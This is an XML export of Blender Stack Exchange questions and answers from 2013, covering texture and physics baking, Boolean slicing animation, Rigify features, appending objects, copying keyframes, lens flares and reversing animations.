  <row Id="1850" PostTypeId="2" ParentId="1848" CreationDate="2013-07-16T16:26:12.187" Score="4" Body="&lt;p&gt;Bake out the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake#Bake_Mode&quot; rel=&quot;nofollow&quot;&gt;ambient occlusion and shadow&lt;/a&gt; maps, then multiply them together in the compositor or your favourite image editor.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-16T16:26:12.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostTypeId="5" CreationDate="2013-07-16T16:51:39.223" Score="0" Body="&lt;p&gt;&lt;strong&gt;Baking&lt;/strong&gt; is the act of pre-computing something to speed up some other process later. In general, there are two general categories for baking:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Physics simulations&lt;/strong&gt; Physics simulations range in computational complexity and memory usage from real-time and small (such as the rigid body simulation) to expensive and huge (such as fluid simulations or a large smoke simulation). In a simulation with a high resolution setting, there can easily be millions of particles whose paths have to be calculated. These paths can be baked ahead of time to allow for quicker playback and rendering.&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Baking&quot; rel=&quot;nofollow&quot;&gt;Smoke&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain&quot; rel=&quot;nofollow&quot;&gt;Fluid&lt;/a&gt;, and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Cache_And_Bake&quot; rel=&quot;nofollow&quot;&gt;Particle Baking&lt;/a&gt; on the blender wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some physics simulations do not require baking (such as particle systems and cloth systems) because they can often run in real-time at low resolution settings. However, even these physics simulations offer a baking option in case the resolution or particle number is turned up very high.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Render baking&lt;/strong&gt; For image baking such as normal maps, ambient occlusion (AO) maps use the tag &lt;a href=&quot;/questions/tagged/texture-baking&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;texture-baking&amp;#39;&quot; rel=&quot;tag&quot;&gt;texture-baking&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="599" LastEditDate="2014-07-29T04:19:59.523" LastActivityDate="2014-07-29T04:19:59.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1852" PostTypeId="4" CreationDate="2013-07-16T16:51:39.223" Score="0" Body="Baking is the act of pre-computing something in order to speed up some other process later down the line. Use this tag for baking any physics simulations." OwnerUserId="12" LastEditorUserId="2217" LastEditDate="2014-07-29T08:40:04.253" LastActivityDate="2014-07-29T08:40:04.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostTypeId="1" AcceptedAnswerId="1854" CreationDate="2013-07-16T17:34:28.713" Score="8" ViewCount="4189" Body="&lt;p&gt;I'm animating slicing up something like this along the y axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5pgvd.png&quot; alt=&quot;monkey block&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to shave slices off the front until the whole block is gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the only way to do this is by having many pre-sliced meshes, moving them around together as one unit until it's time to make a &quot;cut&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above approach doesn't work because of the transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ReQv.png&quot; alt=&quot;monkey block cut&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach I could take to animate slices coming off the front of this block?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-07-16T19:54:18.663" LastActivityDate="2020-10-06T02:02:25.803" Title="Animating slicing up an object" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostTypeId="2" ParentId="1853" CreationDate="2013-07-16T18:22:13.830" Score="4" Body="&lt;p&gt;A common trick is to have multiple objects... not just for the slices, but also for the remaining chunks. You animate the visibility of the chunks in succession as each slice is made. This is taking a note from the stop-motion animation world. In effect, you're not animating slices so much as you're swapping in and out the sliced parts in order. When done right, it will look like the slab is being sliced up.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-07-16T18:22:13.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostTypeId="2" ParentId="1853" CreationDate="2013-07-16T18:36:28.867" Score="12" Body="&lt;h1&gt;Dissolve slice&lt;/h1&gt;&#xA;&lt;p&gt;Use a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/booleans.html#boolean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean modifier&lt;/a&gt; with and animated intersection object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFLeb.gif&quot; alt=&quot;Animated Suzanne dissolve&quot; /&gt;&lt;img src=&quot;https://i.stack.imgur.com/jlL5E.png&quot; alt=&quot;Boolean modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Chop slice&lt;/h1&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;Add a Boolean modifier to your mesh and set the target boolean object.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+select the boolean object and &lt;kbd&gt;Object | Parent | Object&lt;/kbd&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;o&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can now use the boolean object to move the mesh without affecting the boolean operation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;With them both still selected &lt;kbd&gt;Object | Duplicate Linked&lt;/kbd&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;), cancel the translation (&lt;kbd&gt;Esc&lt;/kbd&gt;) and change the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/booleans.html#options&quot; rel=&quot;nofollow noreferrer&quot;&gt;boolean operation type&lt;/a&gt; of the new mesh to Difference.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You should now have two half's that can be moved separately.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;Finally create a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/shape_keys/introduction.html#workflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;shape key&lt;/a&gt; on one of the boolean objects that you'll animate to enable/place the boolean/chop.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/22866&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNBCs.gif&quot; alt=&quot;Animated Suzanne slice&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-10-06T02:02:25.803" LastActivityDate="2020-10-06T02:02:25.803" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1856" PostTypeId="2" ParentId="1530" CreationDate="2013-07-16T19:42:21.030" Score="17" Body="&lt;p&gt;Let me start by saying that I think that the finger curl trick might have mislead you a bit. As complicated and advanced a mechanism as Rigify is, it's nothing really 'unique' in terms of rigging in Blender and rigging in general and as &lt;a href=&quot;https://blender.stackexchange.com/questions/1530/what-are-the-not-so-obvious-features-in-rigify#comment2697_1530&quot;&gt;Fweeb says&lt;/a&gt; above..&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;...for people who have been using rigs in Blender for a long time, scale controls on the&#xA;fingers are a long-standing convention that doesn't feel alien at all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Apart from the finger curl when scaled, there isn't really anything much left to 'discover' per se, &lt;a href=&quot;http://www.sintel.org/news/rigify-auto-rigging-system/&quot; rel=&quot;noreferrer&quot;&gt;it is just a nice collection of common operations etc. and control interfaces to give animators more control and allow people to skip most of the arduous work when rigging&lt;/a&gt; as it can be expanded on if needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;You might know most if not all of these already..&lt;/em&gt; and I won't attempt to explain Rigify in full detail, that would be very difficult to do and is beyond the scope of this question. — However, as a future reference for beginners…&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The top &lt;em&gt;(n)&lt;/em&gt; or so things that are not so obvious at first glance about Rigify are:&lt;/p&gt;&#xA;&lt;h1&gt;1. This is not the rig you are looking for…&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The very first thing is that Rigify is not really the default armature you get when you add it to a scene. To get the &lt;em&gt;full&lt;/em&gt; rig, you go to the &lt;em&gt;Armature: Object Data&lt;/em&gt; panel and under &lt;em&gt;Rigify Buttons&lt;/em&gt; hit &lt;em&gt;Generate&lt;/em&gt;. After that, you can just move the default meta-rig to another layer to keep it out of your way.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dmi6W.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;2. Now you see me, now you don't&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Rigify is a complicated mechanism and often times might get in the way of what you are doing, to hide different parts of the rig as they are needed, you can open the &lt;em&gt;Rig Layers&lt;/em&gt; group in the &lt;em&gt;Properties&lt;/em&gt; panel and toggle the visibility of each layer of controls as needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pzkZt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;3. FK or IK?&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The rig comes ready to be used in any way you want to animate. It has sliders to change between &lt;em&gt;Forward Kinematics&lt;/em&gt; and &lt;em&gt;Inverse Kinematics&lt;/em&gt; or give you a blend of both and more depending on how you adjust the slider(s) under &lt;em&gt;Properties&lt;/em&gt; and or &lt;em&gt;Rig Main Properties&lt;/em&gt; as they are presented or made avilable in the &lt;em&gt;Properties&lt;/em&gt; panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ydLD1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;4. Those aren't &lt;em&gt;really&lt;/em&gt; bones..&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The custom handles you see aren't really bones per se, they are bones with custom shapes and are actually objects that you can modify and by default they are placed on the last layer &lt;em&gt;(layer 20)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These can also be changed using the &lt;em&gt;Custom Shape&lt;/em&gt; input box under &lt;em&gt;Display&lt;/em&gt; in the &lt;em&gt;Bones&lt;/em&gt; panel but it is worth noting that modifying these &lt;em&gt;can&lt;/em&gt; lead to problems with your rig later on so be careful.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJJ86.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;5. Bits and pieces&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can encode the meta-rig to python code so that you can generate select parts of the rig as needed. Look in the toolshelf under &lt;em&gt;Rigify Dev Tools&lt;/em&gt; and experiment with this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;6. Wait.. who's driving?&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;This is out of the scope of the question but might be useful if you're planning to build your own rig.&lt;/em&gt; Rigify makes extensive use of drivers to automate and make certain operations more 'smooth' etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At any time, you can poke around and select a bone and if any of the transform panels turn purple &lt;em&gt;(the default color if you haven't changed it)&lt;/em&gt; this means that a driver is acting on it. To dig into this, just open the &lt;em&gt;graph editor&lt;/em&gt; and open the &lt;em&gt;Drivers&lt;/em&gt; view.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is also worth noting that since Rigify is glued together by scripts and not manually put together for the most part, a lot of these features will be hard to trace and pull apart etc. but can serve as good reference nonetheless.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUnGi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Most of these explanations are a bit vague and short, it is a bit more indepth than this but this is enough to get someone new to the rig at least a bit more familiar with it… and so as a last note, I would suggest reading up on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints#Constraining_bones&quot; rel=&quot;noreferrer&quot;&gt;Bone Constraints&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/Drivers&quot; rel=&quot;noreferrer&quot;&gt;Drivers&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties&quot; rel=&quot;noreferrer&quot;&gt;Properties&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also related.. &lt;a href=&quot;https://blender.stackexchange.com/questions/13/armature-fk-ik-toggles&quot;&gt;Armature FK/IK toggles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-16T19:42:21.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostTypeId="2" ParentId="1832" CreationDate="2013-07-16T22:02:07.727" Score="2" Body="&lt;p&gt;Expanding on Ahdi, Gwenn, and Róbert László Páli's answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting the extra objects is actually unnecessary, but it makes things a lot easier to find when it's time to append your objects. (Unless you have a good naming system so you can identify what object is which)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;To delete extra parts of mesh:&lt;/strong&gt;&lt;br&gt;&#xA;Select the part of the mesh you want to keep:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ycmSh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; or &lt;em&gt;3D view &gt; Select &gt; Inverse&lt;/em&gt; to invert the selection: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBPku.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/VdRwa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Delete&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;em&gt;Vertices&lt;/em&gt; to delete unwanted parts of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IWQPh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deleting extra objects:&lt;/strong&gt;&lt;br&gt;&#xA;If you have extra objects that you do not want that are not part of the wanted mesh,   you can delete them by going into &lt;em&gt;Object mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;) and:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: you may want to make all layers visible (&lt;kbd&gt;~&lt;/kbd&gt;) and un-hide all objects (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;) before doing this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting &lt;strong&gt;only&lt;/strong&gt; your wanted object(s), use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; or &lt;em&gt;3D view &gt; Select &gt; Inverse&lt;/em&gt; to invert the selection again, and then &lt;em&gt;delete&lt;/em&gt; (&lt;kbd&gt;Delete&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can now save your file with &lt;strong&gt;&lt;em&gt;Save As&lt;/em&gt;&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; or &lt;em&gt;Info Panel &gt; File &gt; Save As&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you want to use that object again, you can (in your other file) &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries#Appending_library_objects_into_your_current_project&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Append&lt;/em&gt; or &lt;em&gt;Link&lt;/em&gt; objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Appending:&lt;/strong&gt;&lt;br&gt;&#xA;(&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; or &lt;em&gt;Info Panel &gt; File &gt; Append&lt;/em&gt;)&#xA;navigate to the blendfile with the wanted object, go into &lt;em&gt;Object&lt;/em&gt;, then select the objects you want and press &lt;kbd&gt;Enter&lt;/kbd&gt; or &lt;em&gt;Link/Append from library&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy / Paste:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as mentioned by Gwenn, Cut, Copy, and Paste were added in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability#Copy.2Fpaste_Objects_in_3D_window&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.66&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can simply select and &lt;em&gt;Copy&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;) your objects out of Blender, then in a new instance of Blender (or after opening your other file in the current instance) &lt;em&gt;Paste&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-16T22:07:13.423" LastActivityDate="2013-07-16T22:07:13.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostTypeId="2" ParentId="1811" CreationDate="2013-07-16T22:21:12.633" Score="7" Body="&lt;p&gt;A few more notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avoid object interaction of vastly different mass. (0.1U obj colliding with 100U object)&lt;/li&gt;&#xA;&lt;li&gt;Avoid extreme dimensions (e.g. really long beam)&lt;/li&gt;&#xA;&lt;li&gt;Prefer primitive shapes over convex hull.&lt;/li&gt;&#xA;&lt;li&gt;Adjust stepping as already described.&lt;/li&gt;&#xA;&lt;li&gt;Apply scale and re-centre origin?  Not sure placebo or not, but it's has become a habit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These apply in the game engine as well.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-07-16T22:21:12.633" CommentCount="1" CommunityOwnedDate="2013-07-16T22:21:12.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="1859" PostTypeId="2" ParentId="1809" CreationDate="2013-07-17T01:19:20.827" Score="3" Body="&lt;p&gt;I made a formal blog post for this purpose using a plane and UV texturing to paint seamless textures:&#xA;&lt;a href=&quot;http://jikz.net/archives/651&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jikz.net/archives/651&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may help you get rid of your hard edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up with one picture: Setup a 3x3 plane using loop cuts (then subdivide further or use a &lt;em&gt;multires modifier&lt;/em&gt;). As shown in the image, sculpt in the middle square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1L3Ea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="599" LastEditDate="2013-07-17T19:33:09.160" LastActivityDate="2013-07-17T19:33:09.160" CommentCount="0" CommunityOwnedDate="2013-07-17T01:19:20.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostTypeId="1" AcceptedAnswerId="1862" CreationDate="2013-07-17T07:49:43.793" Score="4" ViewCount="17398" Body="&lt;p&gt;I tried to select a few keyframes and copy them at a later position in the &lt;em&gt;dope sheet&lt;/em&gt;, but only a single finger was copied. Probably all keyframed items must be selected before copy and paste, how can this be achieved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hY8Mz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image shows what happens when the keyframes to left of the current frames have been box-selected and pasted after the current frame.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-07-18T01:05:46.430" LastActivityDate="2019-07-07T23:47:24.093" Title="How can I copy all selected Keyframes?" Tags="&lt;animation&gt;&lt;dopesheet&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostTypeId="2" ParentId="1860" CreationDate="2013-07-17T09:59:36.430" Score="8" Body="&lt;p&gt;Instead of copy and paste, have you tried duplicate &lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and drag, (or type in the number of frames) to the required position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find that copy is applied to the selected object/s (or in pose mode the selected bones) As shown in your example Finger-2_L is selected, the highlighting across the whole line indicates this, and therefore that bone has the only copied keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate however will duplicate all selected keyframes (all the diamonds highlighted in yellow) which is the action you want in this case.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="935" LastEditDate="2013-07-19T11:43:14.163" LastActivityDate="2013-07-19T11:43:14.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1864" PostTypeId="1" CreationDate="2013-07-17T14:19:03.837" Score="13" ViewCount="17146" Body="&lt;p&gt;Is there an addon, or an easy way to add &lt;a href=&quot;https://en.wikipedia.org/wiki/Lens_flare&quot;&gt;lens flare&lt;/a&gt; effects or &lt;a href=&quot;https://en.wikipedia.org/wiki/Lens_%28optics%29#Aberrations&quot;&gt;light aberrations&lt;/a&gt; in Blender? I've been using Blender for a while now, and it's very time consuming to always have to export to another software to do them, and sometimes it's impossible if the scene is complex.&lt;/p&gt;&#xA;" OwnerUserId="556" LastEditorUserId="290" LastEditDate="2013-07-18T10:28:40.143" LastActivityDate="2020-05-20T02:58:39.600" Title="How can I add Lens Flares/Halos?" Tags="&lt;compositor&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1865" PostTypeId="2" ParentId="1864" CreationDate="2013-07-17T14:59:24.080" Score="8" Body="&lt;p&gt;&lt;strong&gt;lens-flare shader&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an OSL &lt;a href=&quot;http://blendbits.blogspot.com.au/2013/05/lens-flare-shader-for-blender-cycles.html&quot;&gt;lens-flare shader&lt;/a&gt; by iReboot (aka Dylan Whiteman) which may interest you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From his blog post referring to a lens-flare shader originally written for the Renderman language by &lt;code&gt;Larry Gritz &amp;amp; Tony Apodaca of pixar&lt;/code&gt;, iReboot writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I decided to try and port this to OSL - (...) I added a few features, such as&#xA;  user definable images for lens-flare elements and have got to a point&#xA;  where the shader can now be released.(...) - along with video tutorial links&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-17T15:14:58.900" LastActivityDate="2013-07-17T15:14:58.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1866" PostTypeId="1" AcceptedAnswerId="1867" CreationDate="2013-07-17T15:13:42.717" Score="25" ViewCount="28530" Body="&lt;p&gt;For example when I record a rig walking and then I'd like to make it walk backward so how can I do that without much effort&lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2017-02-19T19:29:14.277" Title="How to reverse animate?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1867" PostTypeId="2" ParentId="1866" CreationDate="2013-07-17T15:39:26.243" Score="29" Body="&lt;p&gt;You can flip the animation around by actually inverting your animation data in your animation editor.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to your dope sheet editor.&lt;/li&gt;&#xA;&lt;li&gt;Set the current frame to the beginning of the animation (probably frame one)&lt;/li&gt;&#xA;&lt;li&gt;Select the frames you want to reverse. Press &lt;kbd&gt;S&lt;/kbd&gt; and type -1&lt;/li&gt;&#xA;&lt;li&gt;Move the inverted animation back to where it is supposed to be positioned (using &lt;kbd&gt;G&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Play back the animation!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you're scaling the frames by negative one, you are really just reversing the animation. Similar to turning a shirt inside-out.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-17T20:00:29.533" LastActivityDate="2013-07-17T20:00:29.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1868" PostTypeId="2" ParentId="1866" CreationDate="2013-07-17T16:04:53.667" Score="12" Body="&lt;p&gt;If you don't want to reverse F-Curve key-frames, the &lt;strong&gt;NLA editor&lt;/strong&gt; has a reverse option you can enable non-destructively per-strip. The NLA editor allows you to work with your animations in a &lt;em&gt;non-linear&lt;/em&gt; manner; this allows you to repeat, scale, and reverse them, among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the NLA editor, press &lt;kbd&gt;N&lt;/kbd&gt; to open the sidebar, then enable &lt;em&gt;Reversed&lt;/em&gt; in &lt;em&gt;Active Strip&lt;/em&gt; &amp;rarr; &lt;em&gt;Playback Settings&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="372" LastEditDate="2013-08-13T06:58:04.157" LastActivityDate="2013-08-13T06:58:04.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
